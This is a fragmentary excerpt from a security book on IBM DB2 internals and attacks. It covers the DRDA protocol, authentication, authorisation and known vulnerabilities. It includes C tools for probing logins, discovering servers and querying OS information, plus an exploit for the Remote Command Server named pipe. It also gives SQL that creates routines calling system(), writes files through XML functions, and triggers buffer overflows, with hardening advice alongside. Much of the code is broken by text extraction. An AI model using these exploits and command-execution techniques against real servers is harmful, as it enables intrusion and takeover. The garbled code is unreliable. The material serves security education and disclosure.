Indicates access to the database
...
Used to keep track of communication
...
qxd
6/3/05
6:51 PM
Page 105
IBM DB2 Universal Database
0x2110: Relational Database Name
...
0x002F: Data Type Definition Name
...
0x112E: Product-Specific Identifier
...
0x0035: TYPDEF Overrides
...
0x2104: Product-Specific Data
...
Going back to EBCDIC, let’s extract our username and password
...
This simple program can be used to translate from EBCDIC to
ASCII:
#include
qxd
106
6/3/05
6:51 PM
Page 106
Chapter 6
}
unsigned char trans(unsigned char ch)
{
unsigned char cnt=0;
while(cnt < 95)
{
if(ch == ebdic[cnt])
return cnt+0x20;
cnt ++;
}
return 0x20;
}
When run it shows the username to be “root” and the password to be
“quib1e”
...
A computer running DB2 is known as a host
...
In a default install
two instances are created — one known as DB2 and the other as DB2CTLSV
...
The tools database, toolsdb, can often be found in this instance as
well
...
Each instance listens on its own distinct TCP port
...
Further to this there is the DB2 Database Administration Server, otherwise known as the DAS
...
As the name implies, the DAS is responsible for dealing with
database administration requests
...
Instances, and its databases, are held in a process called DB2SYSCS
on Windows or DB2SYSC on Linux
...
Just in case the routine is buggy or behaves badly in some way, so as not to crash the main database process routines are generally loaded into db2fmp — that is, the routine
is “fenced
...
13_578014 ch06
...
T I P When I first started looking into DB2 security one of the most frustrating
problems I had was simply trying to connect the DB2 client to a remote system
...
First, run the db2 client from a command line and when at the
db2 prompt, enter the following:
catalog tcpip node mynode remote 192
...
0
...
It points to a server listening on TCP
port 50000 on IP address 192
...
0
...
Next, you need to tell the client what database to connect to
...
These are completely arbitrary — you can call them what you
want
...
With this done you can then connect to the server
...
The session should flow as follows:
107
13_578014 ch06
...
168
...
99 server 50000
DB20000I The CATALOG TCPIP NODE command completed successfully
...
db2 => catalog database toolsdb as mydb at node mynode
DB20000I The CATALOG DATABASE command completed successfully
...
db2 => connect to mydb user administrator using “foobar!!”
Database Connection Information
Database server
SQL authorization ID
Local database alias
= DB2/NT 8
...
6
= ADMINIST
...
sysdummy1
1
----------1
1 record(s) selected
...
We’ll look at the
default locations for Windows and Linux
...
For each DB2 instance a directory is
created in the SQLLIB directory, for example, DB2 and DB2CTLSV
...
It is often useful to look through these because they can show interesting bits
of information
...
log file
...
The actual data files can be found in directories off the root of the drive
...
qxd
6/3/05
6:51 PM
Page 109
IBM DB2 Universal Database
and C:\DB2CTLSV
...
Various files relating to
the instance and each database in the instance can be found in here
...
When DB2 is installed
three new accounts are created: dasusr1, db2fenc1, and db2inst1
...
The dasusr1 is responsible for running the DAS
...
This dump directory contains a file called
db2dasdiag
...
The db2inst1 user is responsible for running DB2 instances
...
The former
contains database server–specific files and the latter contains the data files
...
DB2 Logical Database Layout
In DB2, database objects such as tables, views, triggers, and routines are stored
in schemas
...
The SYSIBM schema stores most of the default tables and
the SYSCAT schema contains most of the views
...
In DB2 terminology procedures and
functions together are often described as routines
...
What this means is that DB2 is immune to attackers
gaining access via database accounts without a password, or accounts that
have a default password
...
DB2 does not suffer from this kind of issue
...
qxd
110
6/3/05
6:51 PM
Page 110
Chapter 6
password, or an account that has a default password, then needless to say, this
can be abused by attackers but the same would be true for Oracle and Microsoft
SQL Server
...
Although authentication is dealt with by the operating system, DB2 does support different authentication types that specify how (and where) the authentication takes place
...
This is the default
setting and implies that the server is responsible for authentication
...
The SERVER_
ENCRYPT authentication type supports encryption using 56-bit single DES
...
This provides for a more secure solution than type SERVER
...
Another type, CLIENT authentication, relegates the responsibility of
authentication to the client: the line of thinking is that on a trusted network, if
users can get onto the client, then they must be trusted and so no authentication
is performed by the server
...
Here’s why: anyone, absolutely
anyone can access the database server
...
The user still gets access
as PUBLIC
...
Two more
authentication types are available: KERBEROS and KERBEROS_ENCRYPT
...
N OT E To set the server’s authentication type, open the Control Center and
right-click the instance in question
...
In the Keyword column find Authentication and select the authentication
type required
...
13_578014 ch06
...
After receiving a SECCHK DDM command the server replies with a SECCHKCD, or Security Check Code
...
A value of 0x00 means that authentication was successful; a
value of 0x0F indicates that the password is invalid; and a value of 0x13 indicates that the username is not valid
...
If the account doesn’t exist
you’ll have a SECCHKCD of 0x13
...
More than likely though, the result will
be 0x0F — password invalid
...
As you can see, the DSS information is broken down:
#include
h>
#include
qxd
112
6/3/05
6:51 PM
Page 112
Chapter 6
//////////////////////////////////////
“\x00\x18”
// Size
“\x14\x04”
// Manager-level list
“\x14\x03”
// Agent
“\x00\x07”
“\x24\x07”
// SQL Application Manager
“\x00\x07”
“\x14\x74”
// TCP/IP Communication Manager
“\x00\x05”
“\x24\x0f”
// Relational Database
“\x00\x07”
“\x14\x40”
// Security Manager
“\x00\x07”
//////////////////////////////////////
“\x00\x0e”
// Size
“\x11\x47”
// Server Class Name
“\xd8\xc4\xc2\xf2\x61\xd3\xc9\xd5\xe4\xe7”
“\x00\x0a”
// Size
“\x11\x6d”
// Servername
“\xa2\x83\xa4\xa3\xa4\x94”
// hostname
“\x00\x0c”
// size
“\x11\x5a”
// Product Release Level
“\xe2\xd8\xd3\xf0\xf8\xf0\xf1\xf6”
//////////////////////////////////////
//
// ACCSEC
//
//////////////////////////////////////
“\x00\x26”
// Size
“\xd0”
// DDMID
“\x41”
// Format
“\x00\x02”
// Correlation ID
“\x00\x20”
// Size
“\x10\x6d”
// Command - ACCSEC
“\x00\x06”
// Size
“\x11\xa2”
// Security Mechanism
“\x00\x03”
// UID/PWD
“\x00\x16”
// Size
“\x21\x10”
// RDB Name
“\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40”
“\x40\x40”
//////////////////////////////////////
//
// SECCHK
//
//////////////////////////////////////
“\x00\x52”
// Size
“\xd0”
// DDMID
“\x41”
// Format
“\x00\x03”
// Correlation ID
13_578014 ch06
...
qxd
114
6/3/05
6:51 PM
Page 114
Chapter 6
“\x00\x06”
// Size
“\x11\x9d”
// CCSID for Double-byte chars
“\x04\xb0”
“\x00\x06”
// Size
“\x11\x9e”
// CCSID for Mixed-byte chars
“\x03\x33”
“\x00\x3c”
// Size
“\x21\x04”
// Product Specific Data
“\x37\xe2\xd8\xd3\xf0\xf8\xf0\xf1\xf6\xd3\x89\x95\xa4\xa7\x40\x40”
“\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x84\x82\xf2\x82\x97”
“\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x81”
“\x84\x94\x89\x95\x89\xa2\xa3\x00”
“\x00\x05”
// Size
“\x21\x3b”
// Target Default Value Return
“\xF1”;
// TRUE
unsigned char ebdic[]=
“\x40\x4F\x40\x7B\x5b\x6c\x50\x7d\x4d\x5d\x5c\x4e\x6b\x60\x4b\x61”
“\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\x7a\x5e\x4c\x7e\x6e\x6f”
“\x7c\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6”
“\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\x4A\xe0\x5a\x5f\x6d”
“\x79\x81\x82\x83\x84\x85\x86\x87\x88\x89\x91\x92\x93\x94\x95\x96”
“\x97\x98\x99\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xc0\x6a\xd0\x00”;
SOCKET s;
int main(int argc, char *argv[])
{
unsigned char database[20]=””;
unsigned char username[20]=””;
unsigned char password[20]=””;
int count=0;
int x = 0;
if(argc != 6)
return printf(“C:\\>%s host port database username
password\n”,argv[0]);
Db2Port = atoi(argv[2]);
strncpy(hostname,argv[1],250);
strncpy(database,argv[3],16);
strncpy(username,argv[4],16);
strncpy(password,argv[5],16);
13_578014 ch06
...
\n”);
if(ConnectToDB2Server())
MakeRequest(AuthPacket,sizeof(AuthPacket)-1);
WSACleanup();
return 0;
}
int AstrE(unsigned char *str, int size)
{
int count = 0;
unsigned x = 0;
while(count < size)
{
x = str[count];
x = x - 0x20;
str[count]=ebdic[x];
count ++;
}
return 0;
}
int ConnectToDB2Server()
{
unsigned int ttlbytes=0;
unsigned int to=100;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==INVALID_SOCKET)
{
printf(“socket error
...
qxd
116
6/3/05
6:51 PM
Page 116
Chapter 6
}
setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
int));
s_sa
...
\n”);
return 0;
}
return 1;
}
int MakeRequest(char *req, int size)
{
unsigned char resp[6000]=””;
int snd=0,rcv=0,count=0, var=0;
unsigned int ttlbytes=0;
unsigned int to=100;
struct sockaddr_in cli_addr;
unsigned char *ptr = NULL;
char t[20]=””;
char status[4]=””;
int cnt = 0;
snd=send(s, req , size , 0);
_sleep(500);
rcv = recv(s,resp,5996,0);
if(rcv == SOCKET_ERROR)
{
closesocket(s);
printf(“socket error on receive
...
qxd
6/3/05
6:51 PM
Page 117
IBM DB2 Universal Database
if(ptr[cnt-1] ==5)
{
cnt = cnt + 2;
if(ptr[cnt]==0x00)
{
printf(“\n\nAuthenticated\n”);
goto end;
}
else if(ptr[cnt]==0x0F)
{
printf(“\n\nPassword is invalid
...
\n”);
goto end;
}
else if(ptr[cnt]==0x13)
{
printf(“\n\nNo such user
...
\n”);
goto end;
}
else
{
printf(“Unknown status
...
qxd
118
6/3/05
6:51 PM
Page 118
Chapter 6
end:
closesocket(s);
return 0;
}
int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;
if ( LOBYTE( wsaData
...
wVersion )
!= 0 )
{
WSACleanup();
return 0;
}
if (isalpha(hostname[0]))
{
he = gethostbyname(hostname);
s_sa
...
s_addr=INADDR_ANY;
s_sa
...
sin_addr,he->h_addr,he->h_length);
}
else
{
addr = inet_addr(hostname);
s_sa
...
s_addr=INADDR_ANY;
s_sa
...
sin_addr,&addr,4);
he = (struct hostent *)1;
}
if (he == NULL)
{
WSACleanup();
return 0;
}
return 1;
}
unsigned char EtoA(unsigned char ch)
{
unsigned char cnt=0;
13_578014 ch06
...
2X “,p[c]);
c ++;
if(c % 16 == 0)
{
d = c - 16;
printf(“\t”);
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(“ “);
else
printf(“%c”,p[d]);
d++;
}
printf(“\n”);
d = 0;
}
}
d = c - 16;
printf(“\t”);
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(“ “);
else
printf(“%c”,p[d]);
d++;
}
printf(“\n”);
d = 0;
return 0;
}
119
13_578014 ch06
...
Operating system accounts or groups are
granted authorities and an authority describes what that user or group can or
cannot do
...
For example, SYSADM is the highest level of administrative authority
on DB2 and has instance-wide scope, and the SYSADM_GROUP configuration parameter details the operating system group that is given this authority
...
The tables, or rather views, that store relevant information about authorities can be found in the SYSCAT schema and typically
end with the suffix -AUTH
...
The DBAUTH View
This view (of the SYSIBM
...
Each authority determines a set of actions that can be
performed if the authority is granted
...
Almost as powerful as the
SYSADM authority, the DBADM authority affects a database only —
and not an instance
...
BINDADDAUTH
If granted, this authority gives the grantee the ability to create and
bind new applications in the database server
...
NOFENCEAUTH
If granted, this authority gives the grantee the ability to create routines (also known as procedures) that are not fenced — that is, the
procedure can run in the address space of the database process itself
...
qxd
6/3/05
6:51 PM
Page 121
IBM DB2 Universal Database
IMPLSCHEMAAUTH
If granted, this authority gives the grantee the ability to implicitly create
schemas by creating an object using a schema name that doesn’t exist
...
EXTERNALROUTINEAUTH
If granted, this authority gives the grantee the ability to create procedures that call out to the operating system
...
One point to note here is that, by default, the special group PUBLIC is assigned
certain authorities, namely the CONNECTAUTH, CREATETABAUTH,
BINDADDAUTH, and the IMPLSCHEMAAUTH
...
This means that
everyone can determine security-sensitive information such as which accounts
are DBAs
...
To help secure DB2, the SELECT permission should
be revoked from these views and tables from PUBLIC
...
SYSTABAUTH table) holds data about
who can do what to database tables
...
A “Y” denotes that the grantee has the authority, an “N” that the
grantee doesn’t, and a “G” to indicate that, not only is the authority granted,
but the grantee can grant it to others as well
...
ALTERAUTH
If granted, this authority gives the grantee the ability to change the
table’s layout, for example add or remove columns
...
121
13_578014 ch06
...
INDEXAUTH
If granted, this authority gives the grantee the ability to create an
index on the table
...
SELECTAUTH
If granted, this authority gives the grantee the ability to select data
from the table
...
UPDATEAUTH
If granted, this authority gives the grantee the ability to update data in
the table
...
For a secure installation of DB2 you’ll want to revoke most of this
...
SYSROUTINEAUTH table) has only
one authority defined — the EXECUTEAUTH authority
...
This is important because one of
the greatest weaknesses of any bit of database server software is usually its procedures, and DB2 is no different
...
N OT E By default, PUBLIC can execute most procedures and functions
...
While this is true it’s
not that straightforward on DB2
...
Hopefully, one
day this will change
...
13_578014 ch06
...
You’ve looked
at DB2 processes, the protocol DB2 uses, namely DRDA, and then examined
authentication and authorization
...
123
13_578014 ch06
...
qxd
6/3/05
6:53 PM
Page 125
CHAPTER
7
DB2: Discovery,
Attack, and Defense
Finding DB2 on the Network
DB2 listens on a number of TCP ports
...
Finding DB2 on the network could be as simple as doing a
TCP port scan looking for these ports
...
It could be that you’d need to
scan and probe every port on every host on the network, but doing this takes
too long and makes a considerable amount of “noise
...
The Database Administration
Server (DAS) listens on TCP and UDP port 523 and by sending a single packet
to the broadcast address on UDP 523, every DB2 DAS should respond: a quick
way of locating servers
...
The SQL08020 denotes the version of the
client — in this case 8
...
2
...
The following code can be used to find DB2 servers on the
network:
125
14_578014 ch07
...
h>
#include
h>
int QueryDB2Server(void);
int StartWinsock(void);
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
int DB2Port=523;
char host[260]=””;
char request[]=”DB2GETADDR\x00SQL08010”;
int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0;
if(argc != 2)
{
printf(“\n\tQueryDB2\n\n”);
printf(“\tSends a UDP packet to port 523 to see if\n”);
printf(“\tthe remote server is running DB2
...
com)\n\t6th
September 2003\n\n”);
return 0;
}
strncpy(host,argv[1],250);
if(StartWinsock() == 0)
return printf(“Error starting Winsock
...
qxd
6/3/05
6:53 PM
Page 127
DB2: Discovery, Attack, and Defense
if (err != 0)
return 0;
if (LOBYTE(wsaData
...
wVersion) != 0 )
{
WSACleanup();
return 0;
}
s_sa
...
s_addr=INADDR_ANY;
s_sa
...
sin_port=htons((unsigned short)DB2Port);
if (isalpha(host[0]))
{
he = gethostbyname(host);
if(he == NULL)
{
printf(“Couldn’t resolve %s\n”,host);
WSACleanup();
return 0;
}
memcpy(&s_sa
...
sin_addr,&addr,4);
}
return 1;
}
int QueryDB2Server(void)
{
char resp[600]=””;
int rcv=0,count=0;
SOCKET cli_sock;
cli_sock=socket(AF_INET,SOCK_DGRAM,0);
if(cli_sock==INVALID_SOCKET)
{
printf(“socket error %d
...
qxd
128
6/3/05
6:53 PM
Page 128
Chapter 7
if(connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==
SOCKET_ERROR)
{
closesocket(cli_sock);
printf(“Connect error %d
...
\n”);
return 0;
}
N OT E If you don’t want your DB2 servers to respond to this, that is, make
them more difficult to find on the network, you can do this by changing the
mode of the Discovery setting
...
To “hide” the server, open the Control Center and right-click the
instance in question
...
In the
Keyword column, find Discover and select Disable
...
The DAS supports
something very like RPC to enable this — but it’s not RPC in the traditional
sense
...
The client does this by simply sending the name of the function he
wants to execute and passing any parameters along that may be required
...
qxd
6/3/05
6:53 PM
Page 129
DB2: Discovery, Attack, and Defense
...
dll
...
For example, the db2dasGetDasLevel, getDasCfg, and
getOSInfo functions can be called without the need to authenticate
...
The following code can be used to get the DB2 operating system information:
#include
h>
#include
qxd
130
6/3/05
6:53 PM
Page 130
Chapter 7
unsigned char c6[] =
“\x00\x00\x00\x0d\x00\x00\x00\x0c\x00\x00\x00\x4a\x01\x00\x00\x00”
“\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00”
“\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64\x62\x32”
“\x64\x61\x73\x4b\x6e\x6f\x77\x6e\x44\x73\x63\x76\x00\x00\x00\x00”
“\x20\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64\x62\x32”
“\x4b\x6e\x6f\x77\x6e\x44\x73\x63\x76\x53\x72\x76\x00”;
unsigned char c7[] =
“\x00\x00\x00\x00\x44\x42\x32\x44\x41\x53\x20\x20\x20\x20\x20\x20”
“\x01\x03\x00\x00\x00\x10\x39\x7a\x00\x05\x03\x00\x00\x00\x00\x00”
“\x00\x00\x00\x00\x06\xac\x00\x00\x00”;
unsigned char c8[] =
“\x00\x00\x00\x0d\x00\x00\x00\x0c\x00\x00\x00\x4a\x01\x00\x00\x00”
“\x20\x00\x00\x00\x0c\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x03”
“\x9c\x00\x00\x00\x00\x41\x17\x8e\x48\xc0\xa8\x00\x21\x00\x00\x00”
“\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00”
“\x10\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00”
“\x19\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64\x62\x32”
“\x64\x61\x73\x66\x6e\x00\x00\x00\x00\x1a\x00\x00\x00\x0c\x00\x00”
“\x00\x04\x00\x00\x04\xb8\x67\x65\x74\x4f\x53\x49\x6e\x66\x6f\x00”
“\x00\x00\x00\x0c\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x00\x10”
“\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00\x10”
“\x00\x00\x00\x0c\x00\x00\x00\x4c\xff\xff\xff\xff\x00\x00\x00\x00”
“\x44\x42\x32\x44\x41\x53\x20\x20\x20\x20\x20\x20\x01\x03\x00\x00”
“\x00\x10\x39\x7a\x00\x05\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00”
“\x07\xaf\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x0c\x00\x00\x00”
“\x04\x00\x00\x04\xb8\x67\x65\x74\x4f\x53\x49\x6e\x66\x6f\x00\x00”
“\x00\x00\x19\x00\x00\x00\x0c\x00\x00\x00\x04\x00\x00\x04\xb8\x64”
“\x62\x32\x64\x61\x73\x66\x6e\x00\x00\x00\x00\x10\x00\x00\x00\x0c”
“\x00\x00\x00\x4c\x00\x7a\x39\x10\x00\x00\x00\x10\x00\x00\x00\x0c”
“\x00\x00\x00\x4c\x00\x00\x00\x03\x00\x00\x00\x10\x00\x00\x00\x0c”
“\x00\x00\x00\x4c\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x0c”
“\x00\x00\x00\x08\x00\x00\x00\x10\x00\x00\x00\x0c\x00\x00\x00\x4c”
“\x00\x00\x00\x03\x00\x00\x00\x30\x00\x00\x00\x0c\x00\x00\x00\x08”
“\x00\x00\x00\x0c\x00\x00\x00\x0c\x00\x00\x00\x18\x00\x00\x00\x0c”
“\x00\x00\x00\x0c\x00\x00\x00\x18\x00\x00\x00\x0c\x00\x00\x00\x0c”
“\x00\x00\x00\x18”;
int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0;
int count = 0;
char buffer[100000]=””;
if(argc != 2)
{
printf(“\n\tGetOSInfo for DB2\n\n”);
printf(“\tUsage: C:\\>%s target\n\n”,argv[0]);
printf(“\tDavid Litchfield\n\tdavid@ngssoftware
...
qxd
6/3/05
6:53 PM
Page 131
DB2: Discovery, Attack, and Defense
printf(“\t10 September 2004\n”);
return 0;
}
strncpy(host,argv[1],250);
if(StartWinsock()==0)
return printf(“Error starting Winsock
...
qxd
132
6/3/05
6:53 PM
Page 132
Chapter 7
wVersionRequested = MAKEWORD(2,0);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
return 0;
if (LOBYTE(wsaData
...
wVersion) != 0 )
{
WSACleanup();
return 0;
}
s_sa
...
s_addr=INADDR_ANY;
s_sa
...
sin_port=htons((unsigned short)DB2Port);
if (isalpha(host[0]))
{
he = gethostbyname(host);
if(he == NULL)
{
printf(“Couldn’t resolve %s\n”,host);
WSACleanup();
return 0;
}
memcpy(&s_sa
...
sin_addr,&addr,4);
}
return 1;
}
SOCKET CreateSocket()
{
SOCKET cli_sock;
unsigned int ttlbytes=0;
unsigned int to=10;
struct sockaddr_in cli_addr;
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET)
return printf(“socket error
...
qxd
6/3/05
6:53 PM
Page 133
DB2: Discovery, Attack, and Defense
s_sa
...
\n”);
ExitProcess(0);
}
return cli_sock;
}
int MakeRequest(SOCKET s, char *req, int x)
{
int snd=0;
snd=send(s, req , x , 0);
return 0;
}
int ReceiveData(SOCKET s)
{
unsigned char resp[6000]=””;
int rcv=0;
rcv=recv(s, resp , 5996 , 0);
if(rcv == SOCKET_ERROR)
{
printf(“ERROR\n”);
return 0;
}
PrintResp(resp,rcv);
printf(“\n\n\n”);
return 0;
}
int PrintResp(unsigned char *p, int l)
{
int c = 0;
int d = 0;
while(c < l)
{
printf(“%
...
qxd
134
6/3/05
6:53 PM
Page 134
Chapter 7
printf(“%c”,p[d]);
d++;
}
printf(“\n”);
d = 0;
}
}
d = c - 16;
printf(“\t”);
while(d < c)
{
if(p[d] == 0x0A || p[d] == 0x0D)
printf(“ “);
else
printf(“%c”,p[d]);
d++;
}
printf(“\n”);
d = 0;
return 0;
}
15_578014 ch08
...
Many of the problems discussed here can be fixed with a
patch — but in addition to that the risk associated with many of these issues
can be removed, or at least mitigated, with a workaround
...
Buffer Overflows in DB2 Procedures and Functions
Procedures and functions in the DB2 world are known as routines and most
are written in C
...
As it happens they are
...
These were reported to IBM and a patch has been made available
...
REC2XML
XMLClobFromFile
XMLVarcharFromFile
135
15_578014 ch08
...
The overflow
they are vulnerable to is one of the strangest I’ve ever come across and the
peculiarity makes them very easy to exploit
...
When it comes to
exploiting a normal stack-based overflow, the attacker needs to overwrite the
saved return address with an address that points to a bit of code, a “jmp esp”
for example, that’ll get the processor executing code from the user-supplied
buffer
...
To demonstrate this, consider the following SQL:
SELECT db2xml
...
ini’,
‘AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL
LLMMMMNNNNOOOO’ || chr(204) ||’PPPQQQQRRRRSSS
STTTTUUUUVVVVWWWWXXXXYYYY’) from sysibm
...
As a
result, the chr(204) resolves to 0xCC — a breakpoint — and is executed
...
N OT E The best way to defend against these overflows and overflows that
have yet to come to light is to limit who can execute functions and procedures
...
Other Overflows in DB2
DB2 is vulnerable to other buffer overflows that are related to routines
...
By
supplying an overly long parameter to LOAD, a stack-based buffer was overflowed
...
To be successful the
15_578014 ch08
...
Similar to this LOAD
overflow, the CALL command is likewise vulnerable
...
This is triggered when a long library name is supplied
...
The install path
for DB2 is then copied to this buffer and then “function\fenced
...
Because the attacker can supply a
library name of up to 250 bytes, it’s easy to see that the buffer can be overflowed
...
N OT E The CALL overflow is useful only if the attacker can’t place his own
DLL or shared object on the system
...
One restriction is that the function cannot take
a parameter — though this really doesn’t present a problem
...
With this done the attacker
uses CALL to load the library and execute the function
...
Incidentally, the same vulnerable bit of code can be reached through the
CREATE WRAPPER command:
CREATE WRAPPER DTLIB LIBRARY ‘longlibname’
This will trigger the same overflow
...
It is interesting to note that many of the procedures that touch the filesystem
are vulnerable in a similar fashion, for example the generate_distfile procedure
...
dll
...
This parameter can be up to 255
characters long
...
It does this by creating a 264-byte buffer on the stack
...
This returns C:\PROGRA~1\IBM\SQLLIB\DB2
...
After \tmp\ is appended the user-supplied filename is appended
137
15_578014 ch08
...
Because the DB2 install path (C:\PROGRA~1\IBM\SQLLIB\DB2\
tmp\) takes up some of the buffer, if the user has supplied a third parameter
of 255 bytes, the stack-based buffer is overflowed
...
This pointer points to a buffer
where the resulting full path should be copied to
...
Because the attacker “owns” the pointer to where the path is copied
to, he can write arbitrary data to an arbitrary location allowing a full compromise
...
DB2 Set Locale LCTYPE Overflow
Underneath the covers, once a client authenticates, one of the first things a
client will do is set the locale lctype:
SET LOCALE LCTYPE = ‘en_GB’
By specifying an overly long string, 60 bytes in the case of DB2 8
...
6, the
saved return address is overwritten allowing the attacker to gain control of the
server’s path of execution
...
The problem has been reported to IBM and a fix should be out before
this book is published
...
I suppose the reason it exists is so that the client is not
required to have the DB2 libraries installed to be able to communicate with a
DB2 database
...
The
client’s connect packet looks similar to
ValidDb2jdTokenFromTheClientSide
DSN=toolsdb;UID=username;PWD=password
en_GB
s021023
15_578014 ch08
...
As you can see the client sends the name of the database it
wishes to connect to, the username and password, the language, and the client
version — s021023
...
Of course, if the username or password is
wrong, or the database doesn’t exist, then an error is also returned
...
In
other words, if this can be sniffed from the network wire, an attacker can gain
access to the clear text password of an OS account
...
The JDBC Applet Server is vulnerable to a buffer
overflow vulnerability in its connection protocol
...
On the
server side this version information, if overly long, overwrites a null terminator
...
When this long
string is copied to the buffer, the buffer is overflowed allowing the attacker to
overwrite the saved return address stored on the stack
...
By redirecting the flow of execution into the buffer, the attacker has
the ability to run arbitrary code
...
The flaw
was reported and IBM quickly fixed it
...
Because the JDBC Applet Server increases the attack surface of the host, it
should be disabled if it’s not in use
...
DB2 Remote Command Server
The DB2 Remote Command Server exists to ease administration of the DB2
server allowing users to run arbitrary commands on the remote server
...
While it is considered bad to allow everyone and
their dog to run commands remotely, what exacerbates the problem is that the
command runs with the privileges of the user account running the Remote
Command Server
...
What this means is that a low-privileged guest account can run
OS commands with administrator-level privileges
...
qxd
140
6/3/05
6:53 PM
Page 140
Chapter 8
DB2RCMD
...
When a connection is made to the pipe a new
process is created, namely db2rcmdc
...
*/
#include
h>
int main(int argc, char *argv[])
{
char buffer[540]=””;
char NamedPipe[260]=”\\\\”;
HANDLE rcmd=NULL;
char *ptr = NULL;
int len =0;
DWORD Bytes = 0;
if(argc !=3)
{
printf(“\n\tDB2 Remote Command Exploit
...
com)\n\t6th
September 2003\n”);
return 0;
}
strncat(NamedPipe,argv[1],200);
strcat(NamedPipe,”\\pipe\\DB2REMOTECMD”);
// Setup handshake message
ZeroMemory(buffer,540);
buffer[0]=0x01;
ptr = &buffer[4];
strcpy(ptr,”DB2”);
len = strlen(argv[2]);
buffer[532]=(char)len;
// Open the named pipe
rcmd =
CreateFile(NamedPipe,GENERIC_WRITE|GENERIC_READ,0,NULL,OPEN_EXISTING,0,N
ULL);
if(rcmd == INVALID_HANDLE_VALUE)
return printf(“Failed to open pipe %s
...
\n”,NamedPipe,GetLastError());
// Send handshake
len = WriteFile(rcmd,buffer,536,&Bytes,NULL);
if(!len)
return printf(“Failed to write to %s
...
qxd
6/3/05
6:53 PM
Page 141
Attacking DB2
%d
...
Error
%d
...
As such this feature should
not be used
...
Running Commands Through DB2
Running operating system commands is as easy a creating a routine in DB2
...
txt’)
On Linux:
CREATE PROCEDURE rootdb2 (IN cmd varchar(200))
EXTERNAL NAME ‘/lib/libc
...
6!system’
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
call rootdb2 (‘id > /tmp/id
...
qxd
142
6/3/05
6:53 PM
Page 142
Chapter 8
If you look at the output of id
...
If you want to run commands as
the db2inst1 user (which has greater privileges), add the NOT FENCED keyword when creating the procedure
...
Gaining Access to the Filesystem Through DB2
As with most database servers, DB2 supports a number of ways to interact
with the operating system’s filesystem
...
The reason for this is quite simple — if an attacker can gain
read access to files that contain sensitive information, this can be used to further compromise the system; or indeed just gaining access to the information
might be enough if that’s the attacker’s end goal
...
One common theme among
database servers is that access to the filesystem through the RDBMS is done
with the security privileges of the account running the process; DB2 is not different
...
The Load Method
DB2 supports a LOAD SQL query that allows a file’s contents to be read and
loaded into a table
...
By default, PUBLIC does not have this authority
...
txt of del insert into ldtest
This will read the file f:\test
...
The LOADAUTH authority should be restricted
...
qxd
6/3/05
6:53 PM
Page 143
Attacking DB2
XML Functions
If the DB2 database has been XML enabled, an attacker can use four of the
functions that are created, namely, XMLVarcharFromFile, XMLClobFromFile,
XMLFileFromClob, and XMLFileFromVarchar
...
For
example, to read a file you can execute
select db2xml
...
ini’,’ibm-808’) from
sysibm
...
It is hoped that IBM will at
some point in the future change this
...
The CHR() function takes a decimal value as an argument and converts it to
binary
...
XMLFileFromVarchar(CHR(204)||CHR(204),’c:\test
...
sysdummy1
This will create a 2-byte file with each byte having a value of 0xCC
...
This presents attackers the ability to overwrite
binary executables with their own trojaned versions; or alternatively, simply
drop an executable (or script) file into a directory where it will be executed
automatically: for example, dropping a batch file into the administrator’s
startup folder
...
As far as *nix platforms are concerned the attacks usually relate to DB2
binaries with the setuid bit set
...
This is necessary, for example, to call certain functions or perform certain tasks
...
A number of the DB2 binaries have the setuid
bit set:
143
15_578014 ch08
...
Note the use of the word “may”
here
...
Let’s discuss an
example of this
...
The Snosoft advisory marks this as a high risk, implying
that this can be abused to gain root privileges
...
Before the vulnerability is triggered, the process calls setuid(getuid()) setting the security
token to that of the user that executes the binary
...
Here’s some code to demonstrate this
...
qxd
6/3/05
6:53 PM
Page 145
Attacking DB2
/*
Proof of concept for the db2stop format string vulnerability in DB2 v
8
...
2
Here’s the vulnerable code — an unsafe call to printf():
0x804a3e2
0x804a3e8
0x804a3e9
0x804a3ee
0x804a3f1
0x804a3f3
lea
push
call
add
test
je
0xfffffdd8(%ebp),%eax
%eax
0x80492a0
$0x18,%esp
%bl,%bl
0x804a40f
0x804a40f
%edx,%edx
0x804a411
$0x1,%eax
0x804a416
0xffffeab0(%ebp),%ecx
0x804a41c
%edx,0xffffeab0(%ebp)
0x804a422
0xffffeac0(%ebp),%ebx
0x804a428
%ebx
